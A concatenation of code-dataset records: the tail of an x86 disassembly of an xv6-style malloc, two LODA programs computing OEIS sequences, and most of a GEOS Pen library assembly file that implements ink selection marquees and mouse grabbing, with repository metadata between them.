9ee: 77 07 ja 9f7 <morecore+0x16>
nu = 4096;
9f0: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
9f7: 8b 45 08 mov 0x8(%ebp),%eax
9fa: c1 e0 03 shl $0x3,%eax
9fd: 83 ec 0c sub $0xc,%esp
a00: 50 push %eax
a01: e8 4b fc ff ff call 651 <sbrk>
a06: 83 c4 10 add $0x10,%esp
a09: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
a0c: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
a10: 75 07 jne a19 <morecore+0x38>
return 0;
a12: b8 00 00 00 00 mov $0x0,%eax
a17: eb 26 jmp a3f <morecore+0x5e>
hp = (Header*)p;
a19: 8b 45 f4 mov -0xc(%ebp),%eax
a1c: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
a1f: 8b 45 f0 mov -0x10(%ebp),%eax
a22: 8b 55 08 mov 0x8(%ebp),%edx
a25: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
a28: 8b 45 f0 mov -0x10(%ebp),%eax
a2b: 83 c0 08 add $0x8,%eax
a2e: 83 ec 0c sub $0xc,%esp
a31: 50 push %eax
a32: e8 c8 fe ff ff call 8ff <free>
a37: 83 c4 10 add $0x10,%esp
return freep;
a3a: a1 a4 0b 00 00 mov 0xba4,%eax
}
a3f: c9 leave
a40: c3 ret
00000a41 <malloc>:
void*
malloc(uint nbytes)
{
a41: 55 push %ebp
a42: 89 e5 mov %esp,%ebp
a44: 83 ec 18 sub $0x18,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
a47: 8b 45 08 mov 0x8(%ebp),%eax
a4a: 83 c0 07 add $0x7,%eax
a4d: c1 e8 03 shr $0x3,%eax
a50: 83 c0 01 add $0x1,%eax
a53: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
a56: a1 a4 0b 00 00 mov 0xba4,%eax
a5b: 89 45 f0 mov %eax,-0x10(%ebp)
a5e: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
a62: 75 23 jne a87 <malloc+0x46>
base.s.ptr = freep = prevp = &base;
a64: c7 45 f0 9c 0b 00 00 movl $0xb9c,-0x10(%ebp)
a6b: 8b 45 f0 mov -0x10(%ebp),%eax
a6e: a3 a4 0b 00 00 mov %eax,0xba4
a73: a1 a4 0b 00 00 mov 0xba4,%eax
a78: a3 9c 0b 00 00 mov %eax,0xb9c
base.s.size = 0;
a7d: c7 05 a0 0b 00 00 00 movl $0x0,0xba0
a84: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
a87: 8b 45 f0 mov -0x10(%ebp),%eax
a8a: 8b 00 mov (%eax),%eax
a8c: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
a8f: 8b 45 f4 mov -0xc(%ebp),%eax
a92: 8b 40 04 mov 0x4(%eax),%eax
a95: 39 45 ec cmp %eax,-0x14(%ebp)
a98: 77 4d ja ae7 <malloc+0xa6>
if(p->s.size == nunits)
a9a: 8b 45 f4 mov -0xc(%ebp),%eax
a9d: 8b 40 04 mov 0x4(%eax),%eax
aa0: 39 45 ec cmp %eax,-0x14(%ebp)
aa3: 75 0c jne ab1 <malloc+0x70>
prevp->s.ptr = p->s.ptr;
aa5: 8b 45 f4 mov -0xc(%ebp),%eax
aa8: 8b 10 mov (%eax),%edx
aaa: 8b 45 f0 mov -0x10(%ebp),%eax
aad: 89 10 mov %edx,(%eax)
aaf: eb 26 jmp ad7 <malloc+0x96>
else {
p->s.size -= nunits;
ab1: 8b 45 f4 mov -0xc(%ebp),%eax
ab4: 8b 40 04 mov 0x4(%eax),%eax
ab7: 2b 45 ec sub -0x14(%ebp),%eax
aba: 89 c2 mov %eax,%edx
abc: 8b 45 f4 mov -0xc(%ebp),%eax
abf: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
ac2: 8b 45 f4 mov -0xc(%ebp),%eax
ac5: 8b 40 04 mov 0x4(%eax),%eax
ac8: c1 e0 03 shl $0x3,%eax
acb: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
ace: 8b 45 f4 mov -0xc(%ebp),%eax
ad1: 8b 55 ec mov -0x14(%ebp),%edx
ad4: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
ad7: 8b 45 f0 mov -0x10(%ebp),%eax
ada: a3 a4 0b 00 00 mov %eax,0xba4
return (void*)(p + 1);
adf: 8b 45 f4 mov -0xc(%ebp),%eax
ae2: 83 c0 08 add $0x8,%eax
ae5: eb 3b jmp b22 <malloc+0xe1>
}
if(p == freep)
ae7: a1 a4 0b 00 00 mov 0xba4,%eax
aec: 39 45 f4 cmp %eax,-0xc(%ebp)
aef: 75 1e jne b0f <malloc+0xce>
if((p = morecore(nunits)) == 0)
af1: 83 ec 0c sub $0xc,%esp
af4: ff 75 ec push -0x14(%ebp)
af7: e8 e5 fe ff ff call 9e1 <morecore>
afc: 83 c4 10 add $0x10,%esp
aff: 89 45 f4 mov %eax,-0xc(%ebp)
b02: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
b06: 75 07 jne b0f <malloc+0xce>
return 0;
b08: b8 00 00 00 00 mov $0x0,%eax
b0d: eb 13 jmp b22 <malloc+0xe1>
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
b0f: 8b 45 f4 mov -0xc(%ebp),%eax
b12: 89 45 f0 mov %eax,-0x10(%ebp)
b15: 8b 45 f4 mov -0xc(%ebp),%eax
b18: 8b 00 mov (%eax),%eax
b1a: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
b1d: e9 6d ff ff ff jmp a8f <malloc+0x4e>
}
}
b22: c9 leave
b23: c3 ret
| 35.903291
| 73
| 0.425889
|
eeba7f6c5cef34cb46b5ce3e2a6b89d9f7f0b3c6
| 304
|
asm
|
Assembly
|
programs/oeis/147/A147631.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/147/A147631.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/147/A147631.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A147631: 9-factorial numbers (6).
; 1,7,112,2800,95200,4093600,212867200,12984899200,908942944000,71806492576000,6318971346688000,612940220628736000,64971663386646016000,7471741289464291840000,926495919893572188160000
mul $0,9
trn $0,2
seq $0,114806 ; Nonuple factorial, 9-factorial, n!9, n!!!!!!!!!.
| 43.428571
| 183
| 0.792763
|
fd8d0826d528465da1a6b1363c244307b440f3a5
| 3,019
|
asm
|
Assembly
|
programs/oeis/202/A202200.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/202/A202200.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/202/A202200.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A202200: Number of (n+2) X 8 binary arrays avoiding patterns 001 and 101 in rows and columns.
; 1728,7680,26400,76032,192192,439296,926640,1830400,3422848,6110208,10480704,17364480,27907200,43659264,66682704,99677952,146132800,210496000,298378080,416782080,574367040,781747200,1051830000,1400196096,1845524736,2410067968,3120177280,4006886400,5106554112,6461571072,8121134736,10142096640,12589886400,15539516928,19076675488,23298905344,28316882880,34255795200,41256823344,49478736384,59099601792,70318617600,83358072000,98465436160,115915596160,136013230080,159095336400,185533920000,215738842176,250160841216,289294730208,333682778880,383918286400,440649352192,504582851952,576488626176,657203888640,747637862400,848776651008,961688352768,1087528425984,1227545313280,1383086333200,1555603847424,1746661712064,1957942021632,2191252154400,2448532128000,2731862274240,3043471242240,3385744339120,3761232217600,4172659920000,4622936288256,5115163749696,5652648488448,6238911012480,6877697126400,7572989320272,8329018584832,9150276663616,10041528752640,11007826658400,12054522425088,13187282442048,14412102042624,15735320605680,17163637171200,18704126581504,20364256159744,22151902937472,24075371443200,26143412064000,28365239992320,30750554770320,33309560444160,36052986340800,38992108480000,42138771634336,45505412050176,49105080842688,52951468078080,57058927556400,61442502308352,66117950819712,71101773997056,76411242888640,82064427174400,88080224439168,94478390243328,101279569005264,108505325710080,116178178459200,124321631875584,132960211379424,142119498349312,151826166184000,162108017280000,172994020940400,184514352230400,196700431795200,209584966656000,223201992000000,237586913980416,252776553542656,268809191292928,285724613425680,303564158726400,322370766666432,342189026606592,363065228126496,385047412496640,408185425310400,432530970293248,458137664306608,485061093563904,513358871076480,543090695347200,574318410329664,607106066671104,641519984257152,677628816076800,715503613426000,755217892468480,796847702172480,840471693642240,886171190863200,934030262880000,984135797426496,1036577576027136,1091448350589168,1148843921505280,1208863217286400,1271608375744512,1337184826745472,1405701376551936,1477270293776640,1552007396966400,1630032143837328,1711467722181888,1796441142468544,1885083332154880,1977529231735200,2073917892543744,2174392576334784,2279100856660992,2388194722071600,2501830681152000,2620169869426560,2743378158146560,2871626264985280,3005089866662400,3143949713520000,3288391746072576,3438607213553616,3594792794481408,3757150719266880,3925888894886400,4101221031642592,4283366772036352,4472551821773376,4669008082928640,4872973789292400,5084693643921408,5304418958919168,5532407797469184,5768925118145280,6014242921523200,6268640399117824,6532404084670464,6805828007810832,7089213850118400,7382871103608000,7687117231664640,8002277832452640,8328686804824320,8666686516753600,9016627976320000
add $0,3
mov $1,$0
mov $2,$0
add $2,6
bin $2,7
mul $1,$2
sub $1,108
mul $1,16
add $1,1728
| 232.230769
| 2,831
| 0.912554
|
fd351da4b9c9baee3b20e94836870753842932fc
| 29,059
|
asm
|
Assembly
|
Library/Pen/Ink/inkSelection.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 504
|
2018-11-18T03:35:53.000Z
|
2022-03-29T01:02:51.000Z
|
Library/Pen/Ink/inkSelection.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 96
|
2018-11-19T21:06:50.000Z
|
2022-03-06T10:26:48.000Z
|
Library/Pen/Ink/inkSelection.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 73
|
2018-11-19T20:46:53.000Z
|
2022-03-29T00:59:26.000Z
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT: Pen library
MODULE: Ink
FILE: inkSelection.asm
AUTHOR: Andrew Wilson, Sep 3, 1992
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 9/ 3/92 Initial revision
DESCRIPTION:
This file contains all the routines needed to implement ink selection.
$Id: inkSelection.asm,v 1.1 97/04/05 01:27:48 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InkCommon segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetMaskPtr
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Returns a near ptr to the indexed mask
CALLED BY: GLOBAL
PASS: ax - index of mask
carry set if we are doing the bottom/left borders
RETURN: ax - offset to mask
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 9/14/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GetMaskPtr proc near
.enter
EC < pushf >
EC < cmp ax, NUM_ANT_MASKS >
EC < ERROR_AE -1 >
EC < popf >
jc bottomRight
add ax, offset AntMasksTopLeft
exit:
.leave
ret
bottomRight:
; The ant masks go in the other direction when drawing from the bottom
; right...
neg ax
add ax, offset AntMasksTopLeft + NUM_ANT_MASKS + 1
jmp exit
GetMaskPtr endp
AntMasksTopLeft byte 11100001b,
11000011b,
10000111b,
00001111b,
00011110b,
00111100b,
01111000b,
11110000b,
11100001b,
11000011b,
10000111b,
00001111b,
00011110b,
00111100b,
01111000b,
11110000b,
11100001b
NUM_ANT_MASKS equ 8
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SetAntLineMask
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Sets the line mask appropriate to the current ant position.
CALLED BY: GLOBAL
PASS: *ds:si - ink object
di - gstate handle
carry set if we are doing the bottom/left borders, which use
a different mask set
RETURN: nada
DESTROYED: nada
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 9/14/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SetAntLineMask proc near uses ax, si, ds
class InkClass
.enter
pushf
mov si, ds:[si]
add si, ds:[si].Ink_offset
mov al, ds:[si].II_antMask
clr ah
popf
call GetMaskPtr
mov_tr si, ax ;ds:si <- ptr to mask
segmov ds, cs
mov al, SDM_CUSTOM shl offset SDM_MASK
call GrSetLineMask
.leave
ret
SetAntLineMask endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SetMaskForAntUpdate
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Creates/sets a draw mask for the passed items
CALLED BY: GLOBAL
PASS: di - gstate
*ds:si - ink object (containing new II_antMask)
bp - index of old mask
carry set if we are doing the bottom/left borders, which use
a different mask set
RETURN: nada
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 9/14/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SetMaskForAntUpdate proc near
class InkClass
; We want to convert from a drawing using the passed mask to a drawing
; using the next mask - we get the passed mask, XOR it with the new mask,
; and then draw with that mask - this will cause the screen to be updated
; correctly.
; We must call GetMaskPtr *before* the .enter, as the .enter will
; trash the carry
push ax, bx, ds, si
mov ax, bp ;AX <- index of ant mask to use
pushf ;Save passed-in carry flag
call GetMaskPtr
mov_tr bx, ax ;CS:BX <- old DrawMask
mov si, ds:[si]
add si, ds:[si].Ink_offset
mov al, ds:[si].II_antMask
clr ah
popf ;Restore passed-in carry flag
call GetMaskPtr
mov_tr si, ax ;CS:SI <- new DrawMask
localMask local DrawMask
.enter
; We have the old draw mask and the new draw mask - XOR them both
; together to create a new draw mask that, when drawn through, will
; create an image that looks just as if we erased with the old mask and
; redrew with the new mask.
CheckHack <size DrawMask eq 8>
mov ax, cs:[bx]
xor ax, cs:[si]
mov {word} localMask, ax
mov ax, cs:[bx][2]
xor ax, cs:[si][2]
mov {word} localMask+2, ax
mov ax, cs:[bx][4]
xor ax, cs:[si][4]
mov {word} localMask+4, ax
mov ax, cs:[bx][6]
xor ax, cs:[si][6]
mov {word} localMask+6, ax
segmov ds, ss
lea si, localMask ;DS:SI <- mask
mov al, SDM_CUSTOM shl offset SDM_MASK
call GrSetLineMask
.leave
pop ax, bx, ds, si
ret
SetMaskForAntUpdate endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetAndCheckForSelection
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Gets the current selection and checks if valid
CALLED BY: GLOBAL
PASS: nada
RETURN: ax, bx, cx, dx - selection bounds (sorted)
carry set if selection
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 9/14/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GetAndCheckForSelection proc near uses si
class InkClass
.enter
EC < call ECCheckIfInkObject >
mov si, ds:[si]
add si, ds:[si].Ink_offset
mov ax, ds:[si].II_selectBounds.R_left
mov bx, ds:[si].II_selectBounds.R_top
mov cx, ds:[si].II_selectBounds.R_right
mov dx, ds:[si].II_selectBounds.R_bottom
or ax, bx
or ax, cx
or ax, dx ;Clears carry
jz exit ;Exit with carry clear if no selection
mov ax, ds:[si].II_selectBounds.R_left
; Sort the bounds
cmp ax, cx
jbe 10$
xchg ax, cx
10$:
cmp bx, dx
jbe 20$
xchg bx, dx
20$:
stc
exit:
.leave
ret
GetAndCheckForSelection endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ConvertBoundsToWindowCoords
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Converts the passed bounds from being relative to the origin
of the ink object to being relative to the origin of the
parent window.
CALLED BY: GLOBAL
PASS: *ds:si - Ink object
ax, bx, cx, dx - bounds
RETURN: ax, bx, cx, dx - updated
DESTROYED: nada
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 11/ 1/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ConvertBoundsToWindowCoords proc near uses di
class VisClass
.enter
EC < call ECCheckIfInkObject >
mov di, ds:[si]
add di, ds:[di].Vis_offset
add ax, ds:[di].VI_bounds.R_left
add cx, ds:[di].VI_bounds.R_left
add bx, ds:[di].VI_bounds.R_top
add dx, ds:[di].VI_bounds.R_top
.leave
ret
ConvertBoundsToWindowCoords endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RedrawSelection
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Redraws the selected area. This either draws a new selected
area, or erases the old one.
CALLED BY: GLOBAL
PASS: *ds:si - object
di - gstate to draw through (or 0 if you want to create one)
RETURN: carry set if there was a selection
DESTROYED: nada
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 9/ 9/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
RedrawSelection proc far uses ax, bx, cx, dx, di
class InkClass
.enter
EC < call ECCheckIfInkObject >
; If we aren't drawable, don't do anything
push di
mov di, ds:[si]
add di, ds:[di].Vis_offset
test ds:[di].VI_attrs, mask VA_DRAWABLE
pop di
jz exit
; Get the bounds. If the bounds are 0,0,0,0 this means that there is
; no selection, so don't draw anything.
call GetAndCheckForSelection ;Exit if no selection
jnc exit
; Convert the bounds of the selection to window coords.
call ConvertBoundsToWindowCoords
dec cx
dec dx
cmp ax, cx
jg stcExit
tst di
jnz notCached
mov di, ds:[si]
add di, ds:[di].Ink_offset
mov di, ds:[di].II_cachedGState
call DrawMarquee
stcExit:
stc
exit:
.leave
ret
notCached:
; Set the draw mode and mask appropriately (the cached gstate already
; has this set up).
call GrSaveState
push ax, dx
clrdw dxax
call GrSetLineWidth
mov al, MM_INVERT
call GrSetMixMode
pop ax, dx
call SetAntLineMask
call DrawMarquee
call GrRestoreState
jmp stcExit
DrawMarquee:
; To achieve a true "marquee" appearance, we set a different mask for
; the bottom/right lines.
clc ;Set mask for Top/Right lines
call SetAntLineMask
call DrawTopRightLine
stc ;
call SetAntLineMask ;Set mask for Bottom/Left lines
call DrawBotLeftLine
retn
RedrawSelection endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DrawTopRightLine
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Draw the top and right line of the marquee.
CALLED BY: GLOBAL
PASS: di - gstate with appropriate mask
ax, bx, cx, dx - gstate
RETURN: nada
DESTROYED: nada
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 11/ 3/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DrawTopRightLine proc near uses bx, dx
; uses ax, bx, dx
.enter
if 0
draw:
call GrDrawHLine
inc bx
inc ax
cmp bx, dx
ja exit
cmp ax, cx
jb draw
exit:
endif
call GrDrawHLine
xchg ax, cx
; Tweak the endpoints of the right edge of the marquee so they won't
; overlap the top and bottom.
dec dx
inc bx
cmp bx, dx
jg noDraw
call GrDrawVLine
noDraw:
xchg ax, cx
.leave
ret
DrawTopRightLine endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DrawBotLeftLine
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Draw the bottom and left line of the marquee.
CALLED BY: GLOBAL
PASS: di - gstate with appropriate mask
ax, bx, cx, dx - gstate
RETURN: nada
DESTROYED: nada
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 11/ 3/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DrawBotLeftLine proc near uses bx, dx
.enter
if 0
inc bx
draw:
call GrDrawVLine
inc bx
inc ax
cmp ax, cx
jg exit
cmp bx, dx
jl draw
exit:
endif
; Tweak the endpoints of the right edge of the marquee so they won't
; overlap the top and bottom.
push dx
inc bx
dec dx
cmp bx, dx
jg noDraw
call GrDrawVLine
noDraw:
pop bx ;BX <- bottom edge
call GrDrawHLine
.leave
ret
DrawBotLeftLine endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
NukeSelection
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Erases the current selection, if there is one.
CALLED BY: GLOBAL
PASS: *ds:si - object
RETURN: nada
DESTROYED: nada
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 9/ 9/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
NukeSelection proc far uses di
class InkClass
.enter
EC < call ECCheckIfInkObject >
mov di, ds:[si]
add di, ds:[di].Ink_offset
andnf ds:[di].II_flags, not mask IF_SELECTING
clr di
call RedrawSelection ;Erase the selection, if one exists
jnc exit
; Nuke the selection, and destroy the cached gstate.
call StopAntTimer
push si
mov si, ds:[si]
add si, ds:[si].Ink_offset
xchg di, ds:[si].II_cachedGState
tst di
jz noGState
call GrDestroyState
noGState:
clr ds:[si].II_selectBounds.R_left
clr ds:[si].II_selectBounds.R_right
clr ds:[si].II_selectBounds.R_top
clr ds:[si].II_selectBounds.R_bottom
pop si
push ax, bx, cx, dx, bp
call UpdateEditControlStatus
pop ax, bx, cx, dx, bp
exit:
.leave
ret
NukeSelection endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GrabMouse
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: This grabs the mouse and the gadget exclusive.
CALLED BY: GLOBAL
PASS: *ds:si - object
RETURN: nada
DESTROYED: nada
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 9/ 8/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GrabMouse proc near uses ax, cx, dx, bp
class InkClass
.enter
mov bp, ds:[si]
add bp, ds:[bp].Ink_offset
test ds:[bp].II_flags, mask IF_HAS_MOUSE_GRAB
jnz exit
ornf ds:[bp].II_flags, mask IF_HAS_MOUSE_GRAB
mov cx, ds:[LMBH_handle]
mov dx, si
mov ax, MSG_VIS_TAKE_GADGET_EXCL
call VisCallParent
call VisGrabMouse
exit:
.leave
ret
GrabMouse endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ReleaseMouse
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Releases the mouse
CALLED BY: GLOBAL
PASS: *ds:si - object
RETURN: nada
DESTROYED: nada
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 9/ 8/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ReleaseMouse proc near uses ax, cx, dx, bp
.enter
mov cx, ds:[LMBH_handle]
mov dx, si
mov ax, MSG_VIS_RELEASE_GADGET_EXCL
call VisCallParent
.leave
ret
ReleaseMouse endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InkLostGadgetExcl
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: This method is called when we lose the gadget excl. We want
to give up the mouse in this case.
CALLED BY: GLOBAL
PASS: *ds:si - object
RETURN: nada
DESTROYED: nada
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 9/ 8/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InkLostGadgetExcl method InkClass, MSG_VIS_LOST_GADGET_EXCL
call VisReleaseMouse
mov di, ds:[si]
add di, ds:[di].Ink_offset
andnf ds:[di].II_flags, not (mask IF_HAS_MOUSE_GRAB)
mov di, offset InkClass
GOTO ObjCallSuperNoLock
InkLostGadgetExcl endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
StopAntTimer
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Nukes the ant timer.
CALLED BY: GLOBAL
PASS: *ds:si - ink object
RETURN: nada
DESTROYED: nada
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 9/14/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
